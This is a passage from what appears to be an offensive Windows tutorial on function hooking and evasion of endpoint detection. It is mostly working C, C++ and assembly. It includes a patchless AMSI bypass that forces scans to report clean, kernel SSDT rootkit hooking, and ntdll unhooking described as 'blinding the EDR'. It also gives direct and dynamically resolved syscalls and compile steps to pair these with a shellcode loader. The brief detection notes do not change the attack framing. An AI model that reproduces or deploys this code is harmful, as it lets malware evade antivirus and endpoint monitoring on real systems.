static HHOOK g_hCBT = NULL;
LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HCBT_CREATEWND) {
HWND hWnd = (HWND)wParam;
CBT_CREATEWND* pCreate = (CBT_CREATEWND*)lParam;
wprintf(L"[CBT] Window created: class=%ls title=%ls\n",
pCreate->lpcs->lpszClass,
(LPCWSTR)pCreate->lpcs->lpszName);
}
if (nCode == HCBT_DESTROYWND) {
printf("[CBT] Window destroyed: HWND=0x%p\n", (PVOID)wParam);
}
return CallNextHookEx(g_hCBT, nCode, wParam, lParam);
}
g_hCBT = SetWindowsHookExW(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
// Use GetCurrentThreadId() for thread-scope CBT hook (no DLL injection)
9. VEH Hooking (Vectored Exception Handler)
[HOOK] VEH (Vectored Exception Handler) hooking uses Windows' exception dispatch mechanism to intercept function calls without modifying function bytes. A breakpoint (hardware or software INT3) is set on the target function. When execution hits it, an exception is raised, caught by the VEH, and redirected to the hook function — all without writing a JMP into the target function's code.
Why VEH hooking is stealthy:
Traditional inline hook:
Target function bytes: E9 XX XX XX XX ← JMP → visible to integrity scan
VEH hook:
Target function bytes: 48 83 EC 28... ← UNCHANGED (original prologue)
Hardware breakpoint: Set in DR0–DR3 ← Debug registers (no memory mod)
→ EDR's function integrity scan sees CLEAN bytes
→ No memory modification at all (with HWBP variant)
9.1 VEH Hook — Software Breakpoint (INT3)
// veh_int3_hook.c — VEH hook using INT3 software breakpoint
#include <Windows.h>
#include <stdio.h>
static PVOID g_pTarget = NULL; // address to hook
static BYTE g_OrigByte = 0; // saved original byte at target
static PVOID g_VEHHandle = NULL; // VEH handler handle
// ── Our "hook" logic — runs inside exception handler ──────────
void OnHookTriggered(PCONTEXT pCtx) {
// pCtx->Rcx, Rdx, R8, R9 = first 4 args on x64 (Windows calling conv)
printf("[VEH] Hook triggered! RIP=0x%llx, RCX=0x%llx, RDX=0x%llx\n",
pCtx->Rip, pCtx->Rcx, pCtx->Rdx);
// Restore original byte so the real function executes cleanly
DWORD oldProtect;
VirtualProtect(g_pTarget, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
*(BYTE*)g_pTarget = g_OrigByte;
VirtualProtect(g_pTarget, 1, oldProtect, &oldProtect);
// Set single-step flag so we can re-install the hook after one instruction
pCtx->EFlags |= 0x100; // TF (Trap Flag) — triggers EXCEPTION_SINGLE_STEP
// Do NOT call the original here — let execution continue at g_pTarget
// (RIP already points to the patched instruction which is now restored)
}
static BOOL g_Reinstall = FALSE;
// ── VEH handler ───────────────────────────────────────────────
LONG CALLBACK VEHHandler(PEXCEPTION_POINTERS pExInfo) {
PEXCEPTION_RECORD pRec = pExInfo->ExceptionRecord;
PCONTEXT pCtx = pExInfo->ContextRecord;
// Breakpoint at our target
if (pRec->ExceptionCode == EXCEPTION_BREAKPOINT &&
pRec->ExceptionAddress == g_pTarget) {
OnHookTriggered(pCtx);
g_Reinstall = TRUE;
return EXCEPTION_CONTINUE_EXECUTION;
}
// Single-step: re-install INT3
if (pRec->ExceptionCode == EXCEPTION_SINGLE_STEP && g_Reinstall) {
g_Reinstall = FALSE;
DWORD oldProtect;
VirtualProtect(g_pTarget, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
*(BYTE*)g_pTarget = 0xCC; // INT3
VirtualProtect(g_pTarget, 1, oldProtect, &oldProtect);
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH; // not ours — pass on
}
void InstallVEHHook(PVOID pTarget) {
g_pTarget = pTarget;
// Register VEH — '1' = first in chain (highest priority)
g_VEHHandle = AddVectoredExceptionHandler(1, VEHHandler);
// Save original byte and write INT3
g_OrigByte = *(BYTE*)pTarget;
DWORD oldProtect;
VirtualProtect(pTarget, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
*(BYTE*)pTarget = 0xCC; // INT3 breakpoint
VirtualProtect(pTarget, 1, oldProtect, &oldProtect);
printf("[+] VEH INT3 hook installed at 0x%p\n", pTarget);
}
void RemoveVEHHook(void) {
// Restore original byte
DWORD oldProtect;
VirtualProtect(g_pTarget, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
*(BYTE*)g_pTarget = g_OrigByte;
VirtualProtect(g_pTarget, 1, oldProtect, &oldProtect);
// Remove VEH
RemoveVectoredExceptionHandler(g_VEHHandle);
}
int main(void) {
PVOID pMessageBoxA = GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
InstallVEHHook(pMessageBoxA);
MessageBoxA(NULL, "Test", "VEH Hook", MB_OK); // → intercepted
RemoveVEHHook();
return 0;
}
10. Hardware Breakpoint Hooks (HWBP)
[HOOK] The cleanest form of VEH hooking. Uses CPU debug registers (DR0–DR3) to set hardware execution breakpoints — no bytes written to memory at all. When execution reaches the address in DR0–DR3, the CPU raises a EXCEPTION_SINGLE_STEP (0x80000004) exception, caught by the VEH.
Why HWBP is preferred for EDR evasion:
Inline hook: Writes E9 JMP → memory integrity check DETECTS IT
INT3 hook: Writes 0xCC → memory integrity check DETECTS IT
HWBP: Writes NOTHING to memory → integrity check PASSES
Sets CPU DR0 register → invisible to memory scanner
Max 4 breakpoints per thread (DR0–DR3)
10.1 HWBP Hook — Full C Implementation
// hwbp_hook.c — Hardware breakpoint VEH hook (patchless)
#include <Windows.h>
#include <stdio.h>
// ── Hook configuration ────────────────────────────────────────
static PVOID g_pHookTarget = NULL; // function to intercept
static PVOID g_VEHHandle = NULL;
// ── Set hardware breakpoint in current thread's DR0 ───────────
BOOL SetHWBP(PVOID pAddress) {
CONTEXT ctx = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
if (!GetThreadContext(GetCurrentThread(), &ctx))
return FALSE;
ctx.Dr0 = (DWORD_PTR)pAddress; // set address in DR0
ctx.Dr7 |= 1; // enable DR0 (bit 0 = local enable)
// Bits 16-17: condition = 00 (execute)
// Bits 18-19: length = 00 (1 byte)
ctx.Dr7 &= ~((DWORD_PTR)0xF << 16); // clear condition+length for DR0
return SetThreadContext(GetCurrentThread(), &ctx);
}
// ── Remove hardware breakpoint from DR0 ───────────────────────
BOOL RemoveHWBP(void) {
CONTEXT ctx = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
if (!GetThreadContext(GetCurrentThread(), &ctx))
return FALSE;
ctx.Dr0 = 0;
ctx.Dr7 &= ~(DWORD_PTR)1; // clear local enable for DR0
return SetThreadContext(GetCurrentThread(), &ctx);
}
// ── VEH handler ───────────────────────────────────────────────
LONG CALLBACK HWBPHandler(PEXCEPTION_POINTERS pExInfo) {
PEXCEPTION_RECORD pRec = pExInfo->ExceptionRecord;
PCONTEXT pCtx = pExInfo->ContextRecord;
if (pRec->ExceptionCode == EXCEPTION_SINGLE_STEP &&
pRec->ExceptionAddress == g_pHookTarget) {
printf("[HWBP] Function hit! RIP=0x%llx\n", pCtx->Rip);
// Arguments on x64: RCX, RDX, R8, R9
printf("[HWBP] Args: RCX=0x%llx RDX=0x%llx R8=0x%llx\n",
pCtx->Rcx, pCtx->Rdx, pCtx->R8);
// Example: intercept AmsiScanBuffer → fake clean result
// pCtx->Rip = (DWORD64)&ResumeStub; // redirect elsewhere
// pCtx->Rcx = ...; // modify arg
// Re-enable DR0 (disabled by single-step)
pCtx->Dr0 = (DWORD_PTR)g_pHookTarget;
pCtx->Dr7 |= 1;
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
void InstallHWBPHook(PVOID pTarget) {
g_pHookTarget = pTarget;
// Register VEH as first handler
g_VEHHandle = AddVectoredExceptionHandler(1, HWBPHandler);
// Set hardware breakpoint in this thread
SetHWBP(pTarget);
printf("[+] HWBP hook installed at 0x%p\n", pTarget);
}
int main(void) {
PVOID pTarget = GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");
InstallHWBPHook(pTarget);
// Allocate memory — NtAllocateVirtualMemory called internally
PVOID buf = VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE);
VirtualFree(buf, 0, MEM_RELEASE);
RemoveVectoredExceptionHandler(g_VEHHandle);
RemoveHWBP();
return 0;
}
10.2 HWBP for AMSI Bypass (Patchless)
// Patchless AMSI bypass via HWBP — no memory modification
// Sets DR0 on AmsiScanBuffer, VEH sets AMSI_RESULT_CLEAN in context
#include <Windows.h>
typedef HRESULT (WINAPI *fpAmsiScanBuffer)(
HAMSICONTEXT, PVOID, ULONG, LPCWSTR, HAMSISESSION, AMSI_RESULT*);
PVOID g_pAmsiScan = NULL;
PVOID g_VEH = NULL;
LONG CALLBACK AmsiVEH(PEXCEPTION_POINTERS pEx) {
if (pEx->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP &&
pEx->ExceptionRecord->ExceptionAddress == g_pAmsiScan) {
// R9 points to AMSI_RESULT* output parameter
AMSI_RESULT* pResult = (AMSI_RESULT*)pEx->ContextRecord->R9;
if (pResult) *pResult = AMSI_RESULT_CLEAN;
// Redirect RIP to ret stub — skip entire function
// Find a RET gadget or set to a clean return path
pEx->ContextRecord->Rip = /* address of a clean RET */ 0;
// Re-arm HWBP
pEx->ContextRecord->Dr0 = (DWORD_PTR)g_pAmsiScan;
pEx->ContextRecord->Dr7 |= 1;
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
void BypassAMSI_HWBP(void) {
HMODULE hAmsi = LoadLibraryA("amsi.dll");
g_pAmsiScan = GetProcAddress(hAmsi, "AmsiScanBuffer");
g_VEH = AddVectoredExceptionHandler(1, AmsiVEH);
CONTEXT ctx = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
GetThreadContext(GetCurrentThread(), &ctx);
ctx.Dr0 = (DWORD_PTR)g_pAmsiScan;
ctx.Dr7 |= 1;
SetThreadContext(GetCurrentThread(), &ctx);
}
[OPSEC] HWBP-based AMSI bypass does not patch amsi.dll bytes. CrowdStrike and other EDRs now monitor for AddVectoredExceptionHandler followed by abnormal EXCEPTION_SINGLE_STEP frequencies (VEH² technique exists to set HWBP silently without calling SetThreadContext directly).
11. Page Guard Hooking
[HOOK] Sets PAGE_GUARD on the memory page containing the target function. Any access to the page raises an EXCEPTION_GUARD_PAGE (0x80000001) exception, caught by the VEH. Useful for monitoring first access or hooking memory-mapped code.
// page_guard_hook.c — Hook via PAGE_GUARD memory protection
#include <Windows.h>
#include <stdio.h>
static PVOID g_pTarget = NULL;
static DWORD g_OrigProt = 0;
static PVOID g_VEH = NULL;
LONG CALLBACK PageGuardVEH(PEXCEPTION_POINTERS pEx) {
PEXCEPTION_RECORD pRec = pEx->ExceptionRecord;
PCONTEXT pCtx = pEx->ContextRecord;
if (pRec->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) {
PVOID accessAddr = (PVOID)pRec->ExceptionInformation[1];
if (accessAddr == g_pTarget) {
printf("[PAGE GUARD] Function hit at 0x%p\n", g_pTarget);
printf("[PAGE GUARD] RIP=0x%llx RCX=0x%llx\n",
pCtx->Rip, pCtx->Rcx);
}
// PAGE_GUARD is automatically removed on first hit — set single-step to re-add
pCtx->EFlags |= 0x100; // Trap flag
return EXCEPTION_CONTINUE_EXECUTION;
}
if (pRec->ExceptionCode == EXCEPTION_SINGLE_STEP) {
// Re-arm the guard page
DWORD tmp;
VirtualProtect(g_pTarget, 1, g_OrigProt | PAGE_GUARD, &tmp);
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
void InstallPageGuardHook(PVOID pTarget) {
g_pTarget = pTarget;
g_VEH = AddVectoredExceptionHandler(1, PageGuardVEH);
VirtualProtect(pTarget, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &g_OrigProt);
printf("[+] PAGE_GUARD hook at 0x%p\n", pTarget);
}
12. VMT Hooking (Virtual Method Table)
[HOOK] VMT (vtable) hooking targets C++ classes that use virtual functions. Every C++ object with virtual methods has a pointer to a vtable — an array of function pointers. Overwriting an entry in this table redirects all virtual calls on that object to your hook.
// vmt_hook.cpp — VMT hooking example (C++)
#include <Windows.h>
#include <stdio.h>
// ── Simulated target class with virtual method ────────────────
class TargetClass {
public:
virtual void VirtualMethod(const char* msg) {
printf("[REAL] VirtualMethod: %s\n", msg);
}
virtual ~TargetClass() {}
};
// ── Hook function (same signature as virtual method) ──────────
void HookVirtualMethod(TargetClass* pThis, const char* msg) {
printf("[VMT HOOK] Intercepted VirtualMethod: %s\n", msg);
// Optionally: call original via saved pointer
}
// ── VMT hook implementation ───────────────────────────────────
void** g_pOrigVTable = nullptr;
void** g_pShadowVTable = nullptr;
void* g_pOrigVirtMethod = nullptr;
void InstallVMTHook(TargetClass* pObject, int vtableIndex, void* hookFunc) {
// Get pointer to vtable (first 8 bytes of object on x64)
void** pVTable = *(void***)pObject;
// Count vtable entries (walk until we hit null or code guard)
size_t vtableSize = 0;
while (pVTable[vtableSize]) vtableSize++;
// Allocate shadow vtable
g_pShadowVTable = new void*[vtableSize];
memcpy(g_pShadowVTable, pVTable, vtableSize * sizeof(void*));
// Save original and replace entry
g_pOrigVirtMethod = g_pShadowVTable[vtableIndex];
g_pShadowVTable[vtableIndex] = hookFunc;
// Point object's vtable pointer to shadow table
DWORD oldProtect;
VirtualProtect(pObject, sizeof(void*), PAGE_READWRITE, &oldProtect);
*(void***)pObject = g_pShadowVTable;
VirtualProtect(pObject, sizeof(void*), oldProtect, &oldProtect);
printf("[+] VMT hook installed at vtable[%d]\n", vtableIndex);
}
int main(void) {
TargetClass obj;
obj.VirtualMethod("Before hook");
InstallVMTHook(&obj, 0, (void*)HookVirtualMethod);
obj.VirtualMethod("After hook"); // → goes to HookVirtualMethod
// Restore
*(void***)&obj = g_pOrigVTable;
delete[] g_pShadowVTable;
return 0;
}
[OPSEC] VMT hooking only affects the specific object instance (or class if the vtable is shared). It does not modify code pages — avoids code integrity checks.
13. SSDT Hooking (Kernel Mode)
[HOOK] [RING] Ring 0 — SSDT (System Service Descriptor Table) hooking modifies the kernel's syscall dispatch table. When a user-mode syscall instruction fires, the kernel looks up the function in the SSDT. Replacing an SSDT entry with a kernel rootkit function intercepts all calls to that syscall system-wide — regardless of user-mode hooks or bypasses.
Warning: Kernel Patch Guard (PatchGuard) on Windows 10/11 x64 detects and BSoDs SSDT modification on production systems. Used in research VMs and kernel rootkits.
SSDT Structure:
nt!KiServiceTable (SSDT):
Index 0: → NtAccessCheck
Index 1: → NtWorkerFactoryWorkerReady
...
Index N: → NtAllocateVirtualMemory ← replace with rootkit hook
...
Syscall dispatch:
mov eax, SSN (System Service Number)
syscall → kernel looks up SSDT[SSN] → calls it
SSDT hook replaces:
SSDT[SSN for NtAllocateVirtualMemory] = &HookNtAllocate
Result: ALL processes in the entire system are hooked
// ssdt_hook.c — Concept (kernel driver, Ring 0 only)
// This requires a kernel driver (.sys file) — NOT user-mode code
#include <ntddk.h>
// Pointer type for NtAllocateVirtualMemory
typedef NTSTATUS (*fpNtAllocVirtMem)(
HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
fpNtAllocVirtMem g_OrigNtAlloc = NULL;
NTSTATUS HookNtAllocateVirtualMemory(
HANDLE ProcessHandle, PVOID* BaseAddress,
ULONG_PTR ZeroBits, PSIZE_T RegionSize,
ULONG AllocationType, ULONG Protect) {
DbgPrint("[SSDT HOOK] NtAllocateVirtualMemory: PID=%llu Size=%llu Prot=0x%X\n",
(ULONG64)ProcessHandle, *RegionSize, Protect);
// Block RWX (0x40) allocations
if (Protect == PAGE_EXECUTE_READWRITE)
return STATUS_ACCESS_DENIED;
return g_OrigNtAlloc(ProcessHandle, BaseAddress,
ZeroBits, RegionSize, AllocationType, Protect);
}
// Installation would use KeServiceDescriptorTable (x86) or
// find the SSDT via KPCR on x64 (PatchGuard-protected on Win10/11 x64)
Tools for SSDT research:
# WinDbg commands — inspect SSDT
kd> dq nt!KiServiceTable L100 # display SSDT entries
kd> u poi(nt!KiServiceTable + N*8) # disassemble SSDT entry N
kd> !ssdt # WinDbg extension (Volatility has this too)
# Volatility — detect SSDT hooks from memory dump
volatility -f memory.dmp --profile=Win7SP1x64 ssdt
14. Custom Code — Manual Hook Without Libraries
Full end-to-end hook in pure C, no Detours, no MinHook, demonstrating everything from scratch.
14.1 Generic Hook Engine (No Dependencies)
// generic_hook.c — Portable hook engine for x64 Windows
// Supports: install, call original, remove
#include <Windows.h>
#include <stdio.h>
#include <stdint.h>
#define HOOK_PATCH_SIZE 14 // 14-byte far JMP (x64-safe)
#define TRAMPOLINE_SIZE (HOOK_PATCH_SIZE + 14) // displaced + jmp back
typedef struct _HOOK_ENTRY {
PVOID pTarget; // original function
PVOID pDetour; // hook function
PVOID pTrampoline; // allocated trampoline
BYTE origBytes[HOOK_PATCH_SIZE]; // saved original bytes
BOOL bEnabled;
} HOOK_ENTRY;
// ── Build 14-byte far JMP ──────────────────────────────────────
static void BuildFarJMP(BYTE* buf, PVOID dest) {
buf[0] = 0xFF; buf[1] = 0x25;
buf[2] = buf[3] = buf[4] = buf[5] = 0x00; // JMP [rip+0]
*(PVOID*)(buf + 6) = dest;
}
// ── Create a new hook ──────────────────────────────────────────
BOOL HookCreate(HOOK_ENTRY* hook, PVOID pTarget, PVOID pDetour) {
hook->pTarget = pTarget;
hook->pDetour = pDetour;
hook->bEnabled = FALSE;
// Save original bytes
memcpy(hook->origBytes, pTarget, HOOK_PATCH_SIZE);
// Allocate executable trampoline near the target (for near-call compat)
hook->pTrampoline = VirtualAlloc(NULL, TRAMPOLINE_SIZE,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!hook->pTrampoline) return FALSE;
// Copy original bytes to trampoline
memcpy(hook->pTrampoline, hook->origBytes, HOOK_PATCH_SIZE);
// Append JMP back to target+HOOK_PATCH_SIZE
BuildFarJMP((BYTE*)hook->pTrampoline + HOOK_PATCH_SIZE,
(BYTE*)pTarget + HOOK_PATCH_SIZE);
return TRUE;
}
// ── Enable hook ───────────────────────────────────────────────
BOOL HookEnable(HOOK_ENTRY* hook) {
DWORD oldProtect;
BYTE patch[HOOK_PATCH_SIZE];
BuildFarJMP(patch, hook->pDetour);
VirtualProtect(hook->pTarget, HOOK_PATCH_SIZE,
PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(hook->pTarget, patch, HOOK_PATCH_SIZE);
VirtualProtect(hook->pTarget, HOOK_PATCH_SIZE,
oldProtect, &oldProtect);
hook->bEnabled = TRUE;
return TRUE;
}
// ── Disable hook (restore original bytes) ─────────────────────
BOOL HookDisable(HOOK_ENTRY* hook) {
DWORD oldProtect;
VirtualProtect(hook->pTarget, HOOK_PATCH_SIZE,
PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(hook->pTarget, hook->origBytes, HOOK_PATCH_SIZE);
VirtualProtect(hook->pTarget, HOOK_PATCH_SIZE,
oldProtect, &oldProtect);
hook->bEnabled = FALSE;
return TRUE;
}
// ── Usage example ─────────────────────────────────────────────
typedef BOOL (WINAPI *fpCreateProcessW)(LPCWSTR,LPWSTR,
LPSECURITY_ATTRIBUTES,LPSECURITY_ATTRIBUTES,BOOL,DWORD,
LPVOID,LPCWSTR,LPSTARTUPINFOW,LPPROCESS_INFORMATION);
static HOOK_ENTRY g_HookCreateProcess;
static fpCreateProcessW g_fpOrigCreateProcess;
BOOL WINAPI MyCreateProcessW(LPCWSTR lpApp, LPWSTR lpCmd,
LPSECURITY_ATTRIBUTES pPA, LPSECURITY_ATTRIBUTES pTA,
BOOL bInherit, DWORD dwFlags, LPVOID pEnv,
LPCWSTR lpDir, LPSTARTUPINFOW pSI, LPPROCESS_INFORMATION pPI) {
wprintf(L"[HOOK] CreateProcessW: %ls %ls\n",
lpApp ? lpApp : L"(null)", lpCmd ? lpCmd : L"(null)");
// Call original via trampoline
return ((fpCreateProcessW)g_HookCreateProcess.pTrampoline)
(lpApp, lpCmd, pPA, pTA, bInherit, dwFlags,
pEnv, lpDir, pSI, pPI);
}
int main(void) {
PVOID pTarget = GetProcAddress(
GetModuleHandleA("kernel32.dll"), "CreateProcessW");
HookCreate(&g_HookCreateProcess, pTarget, MyCreateProcessW);
HookEnable(&g_HookCreateProcess);
// Test
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi = {0};
CreateProcessW(L"C:\\Windows\\System32\\notepad.exe",
NULL, NULL, NULL, FALSE, 0,
NULL, NULL, &si, &pi);
if (pi.hProcess) {
WaitForSingleObject(pi.hProcess, 3000);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
HookDisable(&g_HookCreateProcess);
VirtualFree(g_HookCreateProcess.pTrampoline, 0, MEM_RELEASE);
return 0;
}
15. ntdll Unhooking — Removing EDR Hooks
[EVASION] EDRs install inline hooks in ntdll.dll at process startup to monitor all native API calls. Unhooking replaces the patched bytes with clean originals, effectively blinding the EDR.
15.1 Methods of Obtaining a Clean ntdll
Method 1: From Disk
→ Read ntdll.dll from C:\Windows\System32\ntdll.dll
→ File I/O telemetry → EDR may detect this approach
Method 2: From KnownDlls
→ Read ntdll from \KnownDlls\ntdll.dll (mapped object)
→ Bypasses file I/O monitoring
Method 3: From Suspended Process
→ Create a process in suspended state (EDR hasn't hooked it yet)
→ Read ntdll from the suspended process's memory
→ Fileless — no disk I/O
Method 4: Selective Unhooking
→ Only unhook specific Nt* stubs that are hooked
→ Minimizes footprint vs. full .text section replacement
15.2 ntdll Unhook via Suspended Process (C)
// ntdll_unhook.c — Restore ntdll .text section from a suspended process
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>
// ── Get base address of a module in a remote process ──────────
PVOID GetRemoteModuleBase(HANDLE hProcess, LPCWSTR modName) {
PROCESS_BASIC_INFORMATION pbi = {0};
NtQueryInformationProcess(hProcess, ProcessBasicInformation,
&pbi, sizeof(pbi), NULL);
// Read PEB from remote process
PEB peb = {0};
ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
// Read loader data
PEB_LDR_DATA ldr = {0};
ReadProcessMemory(hProcess, peb.Ldr, &ldr, sizeof(ldr), NULL);
// Walk InMemoryOrderModuleList
LIST_ENTRY* pHead = &((PEB_LDR_DATA*)peb.Ldr)->InMemoryOrderModuleList;
LIST_ENTRY entry = {0};
ReadProcessMemory(hProcess, pHead, &entry, sizeof(entry), NULL);
LIST_ENTRY* pCurr = entry.Flink;
while (pCurr != pHead) {
LDR_DATA_TABLE_ENTRY ldte = {0};
ReadProcessMemory(hProcess,
CONTAINING_RECORD(pCurr, LDR_DATA_TABLE_ENTRY,
InMemoryOrderLinks),
&ldte, sizeof(ldte), NULL);
wchar_t name[260] = {0};
ReadProcessMemory(hProcess, ldte.FullDllName.Buffer,
name, ldte.FullDllName.Length, NULL);
if (wcsstr(name, modName)) {
return ldte.DllBase;
}
ReadProcessMemory(hProcess, pCurr, &entry, sizeof(entry), NULL);
pCurr = entry.Flink;
}
return NULL;
}
// ── Main unhook routine ───────────────────────────────────────
BOOL UnhookNtdll(void) {
// 1. Find our hooked ntdll
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) return FALSE;
// 2. Spawn calc.exe suspended — its ntdll is clean (not yet hooked by EDR)
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi = {0};
if (!CreateProcessW(L"C:\\Windows\\System32\\calc.exe",
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED,
NULL, NULL, &si, &pi)) {
printf("[-] Failed to spawn suspended process: %lu\n", GetLastError());
return FALSE;
}
// 3. Get ntdll base in remote (clean) process
PVOID pRemoteNtdll = GetRemoteModuleBase(pi.hProcess, L"ntdll.dll");
if (!pRemoteNtdll) {
TerminateProcess(pi.hProcess, 0);
return FALSE;
}
// 4. Parse local ntdll to find .text section
PIMAGE_DOS_HEADER pDOS = (PIMAGE_DOS_HEADER)hNtdll;
PIMAGE_NT_HEADERS pNT = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + pDOS->e_lfanew);
PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNT);
for (WORD i = 0; i < pNT->FileHeader.NumberOfSections; i++, pSec++) {
if (strncmp((char*)pSec->Name, ".text", 5) != 0) continue;
SIZE_T textSize = pSec->Misc.VirtualSize;
PVOID pLocal = (PVOID)((BYTE*)hNtdll + pSec->VirtualAddress);
PVOID pRemote = (PVOID)((BYTE*)pRemoteNtdll + pSec->VirtualAddress);
// 5. Allocate buffer for clean .text section
PBYTE pCleanText = (PBYTE)VirtualAlloc(NULL, textSize,
MEM_COMMIT, PAGE_READWRITE);
if (!pCleanText) break;
// 6. Read clean .text from suspended process
SIZE_T bytesRead = 0;
ReadProcessMemory(pi.hProcess, pRemote, pCleanText, textSize, &bytesRead);
// 7. Overwrite hooked .text with clean bytes
DWORD oldProtect;
VirtualProtect(pLocal, textSize, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(pLocal, pCleanText, textSize);
VirtualProtect(pLocal, textSize, oldProtect, &oldProtect);
VirtualFree(pCleanText, 0, MEM_RELEASE);
printf("[+] ntdll.dll .text section unhooked (%zu bytes)\n", textSize);
break;
}
// 8. Kill the helper process
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return TRUE;
}
int main(void) {
UnhookNtdll();
// From here — NtAllocateVirtualMemory, NtCreateThreadEx etc. are clean
// EDR's user-mode hooks are gone
return 0;
}
15.3 Compile & Use
# Compile
cl.exe ntdll_unhook.c /Fe:ntdll_unhook.exe /link ntdll.lib
# Or MinGW
x86_64-w64-mingw32-gcc ntdll_unhook.c -o ntdll_unhook.exe -lntdll
# After running — NtAllocateVirtualMemory / NtCreateThreadEx are unhooked
# Combine with your shellcode loader for full EDR evasion
[DETECT] EDRs can detect unhooking by: monitoring ReadProcessMemory of suspended processes, detecting .text section replacement via guard pages, or re-hooking ntdll after a short interval.
16. Direct & Indirect Syscalls
[EVASION] Instead of calling ntdll stubs (which may be hooked), issue syscalls directly from your own code. The kernel receives the call with no user-mode hook in the path.
16.1 Direct Syscall — x64 Assembly (MASM)
; direct_syscall.asm — Direct NtAllocateVirtualMemory syscall
; Assemble: ml64.exe /c direct_syscall.asm
; Link: link.exe ... direct_syscall.obj
.code
; NTSTATUS NtAllocVirtMem_Direct(
; HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG)
; SSN (System Service Number) for NtAllocateVirtualMemory = 0x18 (Win10 2004+)
; SSN changes between Windows versions — use dynamic resolution in production
NtAllocVirtMem_Direct PROC
mov r10, rcx ; standard x64 syscall setup
mov eax, 18h ; SSN for NtAllocateVirtualMemory (Win10 x64)
syscall ; jump to kernel — bypasses ntdll hooks entirely
ret
NtAllocVirtMem_Direct ENDP
END
// direct_syscall.c — Use the direct syscall stub
#include <Windows.h>
#include <winternl.h>
// Declare the externally assembled function
extern NTSTATUS NtAllocVirtMem_Direct(
HANDLE Process, PVOID* BaseAddress, ULONG_PTR ZeroBits,
PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
int main(void) {
PVOID base = NULL;
SIZE_T size = 0x1000;
NTSTATUS status = NtAllocVirtMem_Direct(
GetCurrentProcess(), &base, 0, &size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (NT_SUCCESS(status))
printf("[+] Direct syscall alloc: 0x%p\n", base);
return 0;
}
16.2 Dynamic SSN Resolution (Hell's Gate technique)
// hells_gate.c — Dynamically resolve SSN from ntdll on disk
// Avoids hardcoded SSNs that differ between Windows versions
#include <Windows.h>
#include <stdio.h>
// ── Parse ntdll from disk to get clean SSN ────────────────────
DWORD GetSyscallNumber(LPCSTR funcName) {
// Map ntdll from disk (avoids in-memory hooks)
HANDLE hFile = CreateFileA(
"C:\\Windows\\System32\\ntdll.dll",
GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) return (DWORD)-1;
HANDLE hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
PVOID pMap = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
PIMAGE_DOS_HEADER pDOS = (PIMAGE_DOS_HEADER)pMap;
PIMAGE_NT_HEADERS pNT = (PIMAGE_NT_HEADERS)((BYTE*)pMap + pDOS->e_lfanew);
PIMAGE_EXPORT_DIRECTORY pExp = (PIMAGE_EXPORT_DIRECTORY)
((BYTE*)pMap + pNT->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD* pFuncs = (DWORD*)((BYTE*)pMap + pExp->AddressOfFunctions);
DWORD* pNames = (DWORD*)((BYTE*)pMap + pExp->AddressOfNames);
WORD* pOrds = (WORD*)( (BYTE*)pMap + pExp->AddressOfNameOrdinals);
DWORD ssn = (DWORD)-1;
for (DWORD i = 0; i < pExp->NumberOfNames; i++) {
LPCSTR name = (LPCSTR)((BYTE*)pMap + pNames[i]);
if (strcmp(name, funcName) != 0) continue;
// Syscall stub pattern: 4C 8B D1 B8 XX 00 00 00
// (mov r10, rcx; mov eax, SSN)
BYTE* pStub = (BYTE*)pMap + pFuncs[pOrds[i]];
// Verify it's a syscall stub
if (pStub[0] == 0x4C && pStub[1] == 0x8B && pStub[2] == 0xD1 &&
pStub[3] == 0xB8) {
ssn = *(DWORD*)(pStub + 4); // SSN is at byte offset 4
printf("[+] %s SSN = 0x%X\n", funcName, ssn);
}
break;
}
UnmapViewOfFile(pMap);
CloseHandle(hMap);
CloseHandle(hFile);
return ssn;
}
// ── Runtime inline syscall with dynamic SSN ───────────────────
NTSTATUS DirectSyscall(DWORD ssn, ...) {
